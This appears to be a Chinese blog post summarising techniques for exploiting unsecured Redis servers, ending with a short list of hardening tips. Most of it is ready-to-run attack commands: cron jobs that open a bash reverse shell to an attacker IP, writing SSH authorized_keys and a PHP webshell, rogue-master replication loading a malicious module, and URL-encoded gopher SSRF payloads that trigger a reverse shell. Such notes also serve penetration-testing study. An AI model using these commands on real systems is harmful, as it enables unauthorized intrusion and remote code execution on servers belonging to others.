• redis利用总结


    1.利用计划任务反弹shell

    kali安装redis-cli

    https://blog.csdn.net/Fly_hps/article/details/102690282s

    kali监听9999端口

    nc -lnvp 9999

    远程访问不了把protected-mode改成no 

    1. redis-cli -h ip -p 6379
    2. set  xx   "\n* * * * * bash -i >& /dev/tcp/192.168.1.53/9999 0>&1\n"
    3. config set dir /var/spool/cron/
    4. config set dbfilename root
    5. save

    另一种代码形式

    echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n"|redis-cli -h 192.168.118.129 -x set 1
    redis-cli -h 192.168.118.129 config set dir /var/spool/cron/
    redis-cli -h 192.168.118.129 config set dbfilename root
    redis-cli -h 192.168.118.129 save

     2.redis 密钥登录ssh

    生成密钥公钥

    ssh-keygen -t rsa

    防止乱码 导出key

    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

    导入内容

    cat key.txt | redis-cli -h 192.168.0.108 --pass pass123 -x set xxx

    --pass是登录密码 无密码可不填

    设置路径

    config set dir /root/.ssh

    设置文件名

    config set dbfilename authorized_keys

    保存

    save

    ssh 登录

    ssh -i id_rsa root@192.168.0.108

    3.redis 写webshell

    1. 192.168.1.109:6379> config set dir /var/www/html/
    2. 192.168.1.109:6379> config set dbfilename shell.php
    3. 192.168.1.109:6379> set x ""
    4. 192.168.1.109:6379> save

    访问结果 

    4.利用主从复制RCE

    漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

    受害人 就是从机  so文件

    攻击者就是主机 so文件

    工具下载

    https://github.com/n0b0dyCN/redis-rogue-server

    https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

    python3 redis-rogue-server.py -rhost 192.168.1.109 -lhost 192.168.1. 53 -passwd password

    反弹shell

    监听端口 nc -lvnp 2333

    成功反弹shell

     5.ssrf redis 反弹shell

    gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

    gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.0.119%252021000%250d%250aquit

    导入模块

    gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250amodule%2520load%2520./exp.so%250d%250aquit

    关闭主从

    gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aslaveof%2520NO%2520ONE%250d%250aquit

    设置数据库名

    gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit

    反弹shell

    gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250asystem.rev%2520192.168.0.119%25206666%250d%250aquit

    6.本地redis主从复制RCE 反弹shell

    kali 命令

    nc -lvnp 2333

    python3 redis_rogue_server.py -v -path module.so

     ubuntu上操作

    config set dir /tmp

    config set dbfilename exp.so

    slaveof 192.168.0.119 21000

    module load ./exp.so

    slaveof NO ONE

    system.rev 192.168.0.119 2333

     7.redis安全设置

    1. 单独为redis设置一个普通账号 启动redis
    2. 设置本地 localhost 不允许外部访问
    3. 保护模式开启 protected-mode 开启 (默认开启)
    4. 把端口最好更改
    5. requirepass 设置redis密码

    ——————————————————————————————————————————————————————————————————————放弃也是需要勇气的

     

  • 相关阅读:
    zabbix基本介绍 安装部署 页面访问
    面试官:你说你用过Dubbo,那你说说看Dubbo的SPI
    【JAVA】HashSet添加对象时,需要重写hashCode和equals方法
    如何让iOS设备上App定时执行后台任务(上)
    Mysql事务
    Java基础面向对象介绍
    极智AI | 讲解 TensorRT 怎么实现 torch.select 层
    亚马逊、ebay、沃尔玛卖家打造爆款如何利用测评提高转化率?
    Android MVVM示例项目
    16.Pandas实现groupBy分组统计
  • 原文地址:https://blog.csdn.net/qq_56426046/article/details/127077514